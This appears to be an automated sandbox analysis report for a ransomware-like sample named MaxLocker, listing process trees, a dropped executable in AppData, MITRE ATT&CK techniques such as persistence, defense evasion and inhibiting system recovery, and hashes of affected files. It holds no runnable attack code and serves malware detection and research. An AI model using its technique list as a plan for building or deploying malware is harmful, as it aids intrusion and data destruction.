      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=21 --metrics-shmem-handle=6128,i,10335809578542870587,12394916047109272406,2097152 --field-trial-handle=1788,i,9863170591335364797,17819484491619730935,262144 --variations-seed-version --mojo-platform-channel-handle=6124 /prefetch:9
      4⤵
      PID:5616
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=22 --metrics-shmem-handle=5556,i,12565119307584854832,12800369228926003527,2097152 --field-trial-handle=1788,i,9863170591335364797,17819484491619730935,262144 --variations-seed-version --mojo-platform-channel-handle=6304 /prefetch:1
      4⤵
      PID:5460
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=3636,i,10282807303235218151,7149174825099222346,524288 --field-trial-handle=1788,i,9863170591335364797,17819484491619730935,262144 --variations-seed-version --mojo-platform-channel-handle=5616 /prefetch:14
      4⤵
      PID:2964
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=5876,i,14211286013114308597,8456389310398613891,524288 --field-trial-handle=1788,i,9863170591335364797,17819484491619730935,262144 --variations-seed-version --mojo-platform-channel-handle=5716 /prefetch:14
      4⤵
      PID:3032
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=4696,i,4503015215263606818,11269334964751112593,524288 --field-trial-handle=1788,i,9863170591335364797,17819484491619730935,262144 --variations-seed-version --mojo-platform-channel-handle=5508 /prefetch:14
      4⤵
      PID:2920
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=26 --metrics-shmem-handle=5476,i,17862426543511915276,16535304888692954779,2097152 --field-trial-handle=1788,i,9863170591335364797,17819484491619730935,262144 --variations-seed-version --mojo-platform-channel-handle=6016 /prefetch:1
      4⤵
      PID:4692
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=27 --metrics-shmem-handle=5776,i,3183625196270948024,14128572794556389098,2097152 --field-trial-handle=1788,i,9863170591335364797,17819484491619730935,262144 --variations-seed-version --mojo-platform-channel-handle=4640 /prefetch:1
      4⤵
      PID:3524
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=28 --metrics-shmem-handle=5756,i,908588543612004017,17693845643578573659,2097152 --field-trial-handle=1788,i,9863170591335364797,17819484491619730935,262144 --variations-seed-version --mojo-platform-channel-handle=5896 /prefetch:1
      4⤵
      PID:3572
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=29 --metrics-shmem-handle=6468,i,4925016017884295752,17103817065526612742,2097152 --field-trial-handle=1788,i,9863170591335364797,17819484491619730935,262144 --variations-seed-version --mojo-platform-channel-handle=6472 /prefetch:1
      4⤵
      PID:4868
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=2304,i,9433907357084624710,9056253007124979395,524288 --field-trial-handle=1788,i,9863170591335364797,17819484491619730935,262144 --variations-seed-version --mojo-platform-channel-handle=6432 /prefetch:14
      4⤵
      PID:4680

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:5936

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s BDESVC
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:5504

C:\Windows\system32\userinit.exe
C:\Windows\system32\userinit.exe
1⤵
- Suspicious use of WriteProcessMemory
PID:1392
- C:\Users\Admin\AppData\Roaming\MaxSecurity\MaxSecurityUpdate.exe
  "C:\Users\Admin\AppData\Roaming\MaxSecurity\MaxSecurityUpdate.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  PID:2160

C:\Users\Admin\AppData\Roaming\MaxSecurity\MaxSecurityUpdate.exe
"C:\Users\Admin\AppData\Roaming\MaxSecurity\MaxSecurityUpdate.exe"
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:1524

C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe
"C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca
1⤵
- Modifies registry class
- Suspicious use of SetWindowsHookEx
PID:3648

C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\SearchHost.exe
"C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\SearchHost.exe" -ServerName:CortanaUI.AppXstmwaab17q5s3y22tp6apqz7a45vwv65.mca
1⤵
- Modifies registry class
- Suspicious use of SetWindowsHookEx
PID:396

C:\Windows\System32\mobsync.exe
C:\Windows\System32\mobsync.exe -Embedding
1⤵
PID:2484

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:1504

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc
1⤵
PID:3480

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc
1⤵
- Modifies data under HKEY_USERS
PID:2944

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Windows Management Instrumentation

T1047

Persistence

Boot or Logon Autostart Execution

T1547

Active Setup

T1547.014

Registry Run Keys / Startup Folder

T1547.001

Winlogon Helper DLL

T1547.004

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Image File Execution Options Injection

T1546.012

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Active Setup

T1547.014

Registry Run Keys / Startup Folder

T1547.001

Winlogon Helper DLL

T1547.004

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Image File Execution Options Injection

T1546.012

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Debugger Evasion

T1622

Direct Volume Access

T1006

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Safe Mode Boot

T1562.009

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

T1112

Obfuscated Files or Information

T1027

Command Obfuscation

T1027.010

Credential Access

Discovery

Browser Information Discovery

T1217

Debugger Evasion

T1622

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

System Time Discovery

T1124

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Inhibit System Recovery

T1490

Replay Monitor

Loading Replay Monitor...

Downloads

MAXLOCKER_TEST.LOG

Path C:\USERS\ADMIN\DESKTOP\MAXLOCKER_TEST.LOG
Size 14KB
SHA256 04ff533a825e03cd42ccc3ae2a2e67db6af6988ff7d6e62885d885ba672ee2f9
MD5 2826ac6e3233f2dff144a0aeb96d127b
SHA1 edd8bdee594199fea5b98aab5dfe62c58bfdabec
SHA512 130df1b76757c6554974b6fd60a3e82f9ad55250a4f0f2dae15cf57bd1082200e9f7be3b592d99a3d0e782398baf440ff7fd08a91e8d180050dad00d53d54b9c
SSDEEP 384:rIgrEM2uMeUGiSNt7Ym0TBxNSl8dBgpXABJz34CnOdg4OZ8:EM2nZkt7qSe7gZzp
TLSH
T12B6231016E15DAE48B347043B70A4F9B9562050BB3733D6EAE4C049A3A82B18D77FF6C
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

BookmarkMergedSurfaceOrdering

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\BookmarkMergedSurfaceOrdering
Size 6B
SHA256 4489f9e3e454748b3521eb214e0a5694d562cff3d9ff511cb456953c8f534c00
MD5 377d072e137022223a370760763420bb
SHA1 534e5f914ae99bf0a342a2f7a7e0724bd0d11ef7
SHA512 d1e37e45e8d603c46c9254d7295744104222b09340246c5e5f50d661d4688ccc2068adf1e0cd78599bcdcf475f8a0a6255dcd3e429812aa14cc2e2022309955c
MD5 SHA1 SHA512

Submit Download

BrowsingTopicsState

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\BrowsingTopicsState
Size 649B
SHA256 57ed7ef1cc676c303aa51d676b054c71cf9384a86220a76806bfcb84f6ebf7a8
MD5 8fc7b389c2e27c657eca2803601c8535
SHA1 c155ba646b5091ede0dbe3dc8bcb6bc420443adc
SHA512 3bc126d181d3539578dcba43024cd7d7f2fffd39a1d84179e027ef0fce3bc007816d25556f7779e28f0682d3e6b9b583e2ff41cfea724374b56b9eb9df6356ac
TLSH
T142F028B9C930FC2F18FC1B1820680747FB5117272B905A4F3A3E820C8FB963B419682C
MD5 SHA1 SHA512 TLSH

Submit Download

f_000006

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Cache\Cache_Data\f_000006
Size 346KB
SHA256 9be344d8aab52c80881980d24ba1435146143794aebbeb98bcae9a4b41f0bd16
MD5 fc31feb6dbd996017ba0751ebf1a2be0
SHA1 d5e54654c86bcbfc7aeed4377e9183421b5f63f4
SHA512 21a4c7e4b3c8f42a8886bcac34a50ae30e61efd3c0443b66fd3cffc54caaf4265d4ee65521051cc530e2e1dccbfb877a303a119768406da737c3249ab577b0e5
SSDEEP 6144:r6PyntaVKs+9xeKjohEc1avaW5Id9Veu22qVTvHodWVjaVrQXcx81E+/SnCCKCDC:uPynjs+9QEcyIfcN2YTvHo0VjaV2Z/SO
TLSH
T1FF7423717998940FD4622800765A6FF51C403FAFC52AE6E3677B10B34D9E4A7347CA38
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

the-real-index

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Code Cache\js\index-dir\the-real-index
Size 1KB
SHA256 e391cc0c3f31b796382758a9dc1422487055814ea17bc13c83fd6914b34bc059
MD5 c3fb29d7466f6f94d6ae473a2b287f8d
SHA1 7d115502b1a9899d93a2c736e880577ebb4fc434
SHA512 60b6c3713c88130a1403bf626351574df8c7595cd94cb2d5052c038c35ba9d8a3c9a3104b5f7dfd558d39f6202d485b24100c9298d242cb77f632ba09342c586
TLSH
T16721AB88FFD1E410EFD85C7920FD0A74F636F92415AB2EBD91A4E1677CA57BD004422A
MD5 SHA1 SHA512 TLSH

Submit Download

messages.json

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\en\messages.json
Size 593B
SHA256 92f1246c21dd5fd7266ebfd65798c61e403d01a816cc3cf780db5c8aa2e3d9c9
MD5 91f5bc87fd478a007ec68c4e8adf11ac
SHA1 d07dd49e4ef3b36dad7d038b7e999ae850c5bef6
SHA512 fdc2a29b04e67ddbbd8fb6e8d2443e46badcb2b2fb3a850bbd6198cdccc32ee0bd8a9769d929feefe84d1015145e6664ab5fea114df5a864cf963bf98a65ffd9
TLSH
T109F09C8CD050E86F02B2411AB1647314FB51037A0751A59F393CDC0D9FB6DA751C6F4D
MD5 SHA1 SHA512 TLSH

Submit Download

craw_background.js

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\craw_background.js
Size 531KB
SHA256 04cd9494b0ed83924dad12202630b20d053d9e2819c8e826a386c814cc0a1697
MD5 6eebed29e6a6301e92a9b8b347807f5f
SHA1 65dfb69b650560551110b33dcba50b25e5b876de
SHA512 fede6db31f2ad242e7bc7b52a8859ba7f466a0b920a8dadcb32dcfb5b2a2742e98b767ff22e0c5bc5c11fec021240aa9e458486c9039eb4ebe5cf6af7be97bf2
SSDEEP 6144:abyfBNC2FRdjiRXqbe5Dq31IVlMqX+wd5/CcMMJcRULt0NjyTOEzZQ+h72W3GB0n:Ft/g
TLSH
T1B5C4F74C34C2E8CD6A623DA5247B9085A2319266F4479ED9F0EDECF21AF44641937F3E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

CURRENT

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\GCM Store\CURRENT
Size 16B
SHA256 0f1bad70c7bd1e0a69562853ec529355462fcd0423263a3d39d6d0d70b780443
MD5 46295cac801e5d4857d09837238a6394
SHA1 44e0fa1b517dbf802b18faf0785eeea6ac51594b
SHA512 8969402593f927350e2ceb4b5bc2a277f3754697c1961e3d6237da322257fbab42909e1a742e22223447f3a4805f8d8ef525432a7c3515a549e984d3eff72b23
MD5 SHA1 SHA512

Submit Download

Network Persistent State

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\Network Persistent State
Size 11KB
SHA256 2997cb47e6b26cfb93cfbbe3329502d59bdbedc19053546cfc3244e1caedafd5
MD5 38409e886c9271850b3efec55e48d961
SHA1 29da15c4c06ed9753d26e3c64e508b6cfe2a9020
SHA512 1e71cc51a5757621b316a04e3fe5c8d6b25e1e6b809766969d05276489d764569b9be54bf42269da2f27a1b19c07100eb6cfe863659e484b24aca642ddd1605c
SSDEEP 192:Dov64KRHFcfqJXweC9JjUZNYyxKJ6bRwHN82aNPRaPlvJxfPzzcaOPkRPheP5N5G:Dov64KRHFcfqJXweCLjUZNYyxKJ6bRwv
TLSH
T1C132B0F7C3D8C66DC85156F49B256E1BCE2A092C522D3C27C8D8EF4B93E24B2D25164E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

SCT Auditing Pending Reports

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\SCT Auditing Pending Reports
Size 2B
SHA256 4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945
MD5 d751713988987e9331980363e24189ce
SHA1 97d170e1550eee4afc0af065b78cda302a97674c
SHA512 b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af
MD5 SHA1 SHA512

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences
Size 13KB
SHA256 7aef1a5e89d3ca9b9ea8873c190c7206944b622b4bb344402032d37cbb04aec4
MD5 c1401ed9ed68963e67d4ee141ad87dea
SHA1 307f4a42c06cc0f3dd125f86d9c0615d79e33892
SHA512 c4cdb6af767754a9e0b74c0bdbfeac74d1f67c2cd33adfad8bd09bae86a5a04979647ce4452ce4f982542a3a9f76ac7cceda6e3d3c7bb0bedde4dd7adb10b12f
SSDEEP 192:pRIXcBzAnEzv7ZTkPRpduHyK9THsb+WNaiZGX5hW7geMYkkwMVyIsnAUgE:pRIXmzAELdWXm9wqHhesIE
TLSH
T1BF52A52AAD20357FACDBD22AF9217B63D3F1103165912E88E7FC892C25E35DC2217457
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences
Size 11KB
SHA256 7679aebc84901908d99bb310e8a0bbaec6efb57cdae5f89df35b1e7a7048ef52
MD5 8001b12288c8488737c18e39b57d0023
SHA1 923f56e4f08348a72c9ca3591d02a1a891e6a74d
SHA512 c17b25bf5af39a067c76d3331d74f2330222001432bed64e282139e9c562d3eaeb444e0e1d9be47e5da052052b54c3a65f361da82e2c5b7807c52decb61cac4e
SSDEEP 192:pRI7Anpzv7ZAPRp2N9THsb+WNnOl0FYkkwOVyIsnAUge:pRI7ApLQXO9wg0Lme
TLSH
T18B32912EAD20753F9CCAD22AFA217A53D3F5103165952E88EBFC892C25E75DC2227417
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences
Size 12KB
SHA256 b9b272329838e3cfc8f550abb84563010dfe69d4948415e58fd6d2461235209d
MD5 aba1647c56edc66b7a4c181122a319e9
SHA1 6598cb1e6894913f4d3440941c07c0ecb1df897e
SHA512 4816c5d73e47932a9dd7e779ca34fd44b0a8f63e09dc03144bebd9f1257e4152843b7a32a001a4b1a2f6502a55b1971938a831a0bab3cbbe3e6d9fdd0bc5e860
SSDEEP 192:pRIncBzAnEzv7ZAPRp2uHy19THsb+WNaiZGXZe+7geYYkkw6VyIsnAUgE:pRInmzAELQXG9wqIJeoaE
TLSH
T12842A52AAD20757FACDBD22AF9217B63D3F1103165912E88EBFC892C25E75DC2217413
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences
Size 12KB
SHA256 a0aafd69168a4bda1587175f7a0adb1f5d7f0678687e7498a4cff6d7b042ce43
MD5 4fca9d7c46f114fbdae8edc876bd7652
SHA1 351a89f24877f5e1418c841ddd9c8309138f63e6
SHA512 68156000b501d739f1cbc986c1c63c29d3e353f5250818b4a6e068464edf903624a7add0a243c496030c5db06ea9c05714245daa6f4d743b2a5770602bd8da9c
SSDEEP 192:pRIncBzAnpzv7ZAPRp2uHJ9THsb+WNnZGr7geqYkkw6VyIsnAUgE:pRInmzApLQXR9wIIeiaE
TLSH
T13042832EAD20357FACDAD22AF9217B63D3F1103165952E88E7FC892C25E75DC2227417
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Secure Preferences

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Secure Preferences
Size 13KB
SHA256 f0e08f05d717df190edd22de51a2f1d5b979342b6b8d0bf29bcd14612b02a33a
MD5 927cf724f556d80f46135ef5df18b17f
SHA1 87f0452ac588695fdde2f19dddb7b123dc237a96
SHA512 ade0642acdb9dd68716668cfe7ffb373aba9360188560dca8c0f48aaa328a694def9e40fd68ac1d1350f361a7172680c06f4299b88f7a4d9fa8ea0f47ade3091
SSDEEP 384:dXj/y7KxkXqKf/pUZNCgVLH2HfgslsOXOD/W+ErU33SHG47vvj:dz/y7KxkXqKf/pUZNCgVLH2HfgsiUO7i
TLSH
T118520A27A88C9A3F0FD8DA4CCC127F8FADB501666678496452FB5C0903E97DB110A2F7
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

the-real-index

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Shared Dictionary\cache\index-dir\the-real-index
Size 120B
SHA256 6b08e5b376d28de06960b182a746563b51133c46fb62fb5db8a73d01da385936
MD5 530e87492e1bb18aec4c5ae6cb6b9ae7
SHA1 d903ecb44dfb42be756be610f702f372b46f3126
SHA512 04823f25eed2d48cc275972bf0544905942101f3596de69f81eb076ba38fcd5d189f99924f3d352011b60acceda71bf8c943f2d448e067a222ea2f73d10d3c3f
TLSH
T134B0124525409902CD0013B2D2C143C417C15D30825D4B134A536324A8319875542310
MD5 SHA1 SHA512 TLSH

Submit Download

the-real-index

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Code Cache\js\index-dir\the-real-index
Size 72B
SHA256 ae77965ab4b09065ac07b8e9a217d9453860f3ed7c31ae62070c902aa92506a5
MD5 b15256587391668c2ccaee59ce7599ec
SHA1 d4094ac1a8f5a0a429c6e55db837dec8b5c5e9a1
SHA512 8b6235c5a5ec39395b763a26e1386147c33da1cce42ba3b379e1b3ad4c0d4e4eb7626dc2bdefc47e9f251ca3cfbd5ef3019b7a0bccf48df1a8df590e96f385d6
TLSH
T1A7A0025042D008B5CE14427160A145516293E914275157075D9A0454BD5B5EA4206B05
MD5 SHA1 SHA512 TLSH

Submit Download

the-real-index

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Code Cache\js\index-dir\the-real-index
Size 48B
SHA256 7674279f3745a213b30d105881a16f9dbd910cbc411aee3f348f186e12f0bb74
MD5 7e5c3c32cd671dc37058db434396b692
SHA1 cbb4337ebdfb4c8e3c484f60beff9113f1d65ee0
SHA512 0d2eb93f52d8ce089c5fd4d1e32305a8ddff2f3dc504f79bb98fa00520a0fed3a74b60311b67c67db24e459ed78cca734f1aed27eacd9207003fc2d0ffe22a6e
MD5 SHA1 SHA512

Submit Download

data_0

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\GPUCache\data_0
Size 8KB
SHA256 d6a5fe39cd672781b256e0e3102f7022635f1d4bb7cfcc90a80fffe4d0f3877e
MD5 cf89d16bb9107c631daabf0c0ee58efb
SHA1 3ae5d3a7cf1f94a56e42f9a58d90a0b9616ae74b
SHA512 8cb5b059c8105eb91e74a7d5952437aaa1ada89763c5843e7b0f1b93d9ebe15ed40f287c652229291fac02d712cf7ff5ececef276ba0d7ddc35558a3ec3f77b0
SSDEEP 3:MsFl:/F
MD5 SHA1 SHA512 SSDEEP

Submit Download

data_1

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\GPUCache\data_1
Size 264KB
SHA256 b1e963d702392fb7224786e7d56d43973e9b9efd1b89c17814d7c558ffc0cdec
MD5 f50f89a0a91564d0b8a211f8921aa7de
SHA1 112403a17dd69d5b9018b8cede023cb3b54eab7d
SHA512 bf8cda48cf1ec4e73f0dd1d4fa5562af1836120214edb74957430cd3e4a2783e801fa3f4ed2afb375257caeed4abe958265237d6e0aacf35a9ede7a2e8898d58
SSDEEP 3:MsEllllkEthXllkl2zE:/M/xT02z
MD5 SHA1 SHA512 SSDEEP

Submit Download

data_2

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\GPUCache\data_2
Size 8KB
SHA256 ec1702806f4cc7c42a82fc2b38e89835fde7c64bb32060e0823c9077ca92efb7
MD5 0962291d6d367570bee5454721c17e11
SHA1 59d10a893ef321a706a9255176761366115bedcb
SHA512 f555e961b69e09628eaf9c61f465871e6984cd4d31014f954bb747351dad9cea6d17c1db4bca2c1eb7f187cb5f3c0518748c339c8b43bbd1dbd94aeaa16f58ed
SSDEEP 3:MsHlDll:/H
MD5 SHA1 SHA512 SSDEEP

Submit Download

data_3

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\GPUCache\data_3
Size 8KB
SHA256 e09f42c398d688dce168570291f1f92d079987deda3099a34adb9e8c0522b30c
MD5 41876349cb12d6db992f1309f22df3f0
SHA1 5cf26b3420fc0302cd0a71e8d029739b8765be27
SHA512 e9a4fc1f7cb6ae2901f8e02354a92c4aaa7a53c640dcf692db42a27a5acc2a3bfb25a0de0eb08ab53983132016e7d43132ea4292e439bb636aafd53fb6ef907e
SSDEEP 3:MsGl3ll:/y
MD5 SHA1 SHA512 SSDEEP

Submit Download

MANIFEST-000001

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Local Storage\leveldb\MANIFEST-000001
Size 41B
SHA256 f9d31b278e215eb0d0e9cd709edfa037e828f36214ab7906f612160fead4b2b4
MD5 5af87dfd673ba2115e2fcf5cfdb727ab
SHA1 d5b5bbf396dc291274584ef71f444f420b6056f1
SHA512 de34583a7dbafe4dd0dc0601e8f6906b9bc6a00c56c9323561204f77abbc0dc9007c480ffe4092ff2f194d54616caf50aecbd4a1e9583cae0c76ad6dd7c2375b
MD5 SHA1 SHA512

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
Size 4KB
SHA256 68979c53ee06b9e0417120e6c0cfb7bf8c2bd35d8aaa618f8f11a647f91fe403
MD5 d4fdb4a3173f05ea62e71efda58ff06b
SHA1 2943a2fc082a28b1329f85398785e2d89d7a5132
SHA512 42e5e18a46377f1ba43515b6b17ef87638957cb6129067f444131a9ae00750c713b657b51108dff218328bd36ad606ec4f3c73d63ebd16df07cbf3dbf20d829c
SSDEEP 96:pC0d+U7D/u1i5WFtfvuvTj7sCRDotok5/HDzB6jGyvutFDL7mbYLsv4a:pC0z7q134vtDUDLtf7FDL7mbY6
TLSH
T128A10A71A87D99BB8576C485F5422A43CFB022BFA902AF84D8DD1A1C11EB5FC1312A27
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
Size 137KB
SHA256 6acfe514524e097c7165fb9dcf5e781e7b2320535e8a03a5547ad7bae7b52a4a
MD5 f4c129ea3ea9fadef9aa06c239e4cb67
SHA1 5e2871d0f7a2a722dedaff5e645d78da392e7bcb
SHA512 dacd45fd36cb91cec6575fc1de6b68ea4634ff7a1bbaad0edb5dec600bd4343b6982e8a3414760de392a6dd1e6e4009fcb8d7e4fe91d282f9b109556fc7b35ef
SSDEEP 3072:zeyw/ipBjz4dnqAoddorDfM9OExz6LXiBpKOV0+8KG3t:zeROB2oddWExz6LXitV0+8KG3t
TLSH
T1D1D3123319DF3E2BF89D802EB8571862CF90B838CC859EC5D0E623597D90AD613B6B41
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
Size 138KB
SHA256 a2d0b520543d21dfbcda827d3b40af139d5c8685389494ee103719338cb9bdd0
MD5 f365278bcbb5e83cb850f642327fbff3
SHA1 4f3e1b8281125dde6db8760d47e9b977b475bca9
SHA512 5f706c17ad9e0951e84a08d33765795d52968fa835b2bd61c726ce7d33bb8cf4c961c09341325c84b25bba387e80937ab8589996ba9bcf85fce0a85fb7e49ec1
SSDEEP 3072:zeiqw/ipBjz4dnqAoddorDfM9OExz6LXiBpKOV0+8KG3t:zei5OB2oddWExz6LXitV0+8KG3t
TLSH
T1B4D3123319CF2D1BFCDA402D68572862CED4FA38CC85DDC9F0EA32597D94AD50AA7641
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

WMSDKNS.XML.bak

Path C:\Users\Admin\AppData\Local\Microsoft\Windows Media\12.0\WMSDKNS.XML.bak
Size 9KB
SHA256 cb87767c4a384c24e4a0f88455f59101b1ae7b4fb8de8a5adb4136c5f7ee545b
MD5 7050d5ae8acfbe560fa11073fef8185d
SHA1 5bc38e77ff06785fe0aec5a345c4ccd15752560e
SHA512 a7a295ac8921bb3dde58d4bcde9372ed59def61d4b7699057274960fa8c1d1a1daff834a93f7a0698e9e5c16db43af05e9fd2d6d7c9232f7d26ffcff5fc5900b
SSDEEP 96:/YkZRAF6zyHUhm77yB1pZYCEnfHrHH7B6xTGH+YCLV3zwULJEYCJWyHBt3zwFRh+:/2FV0bBPCfUdY
TLSH
T10022A2A194818DD206290E275DB95C0DDA8CE9D3832C24997C9EEB7FDFB1C00355FB6A
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 d28ef187840dcd1fe0a8a757ef9cd326023bec38b39ef1338f91d508d55dcf28
MD5 acbc65123954839a819fa2495d239bf7
SHA1 063cff64444a6e3b4be1445b4cecb477e4d6ae47
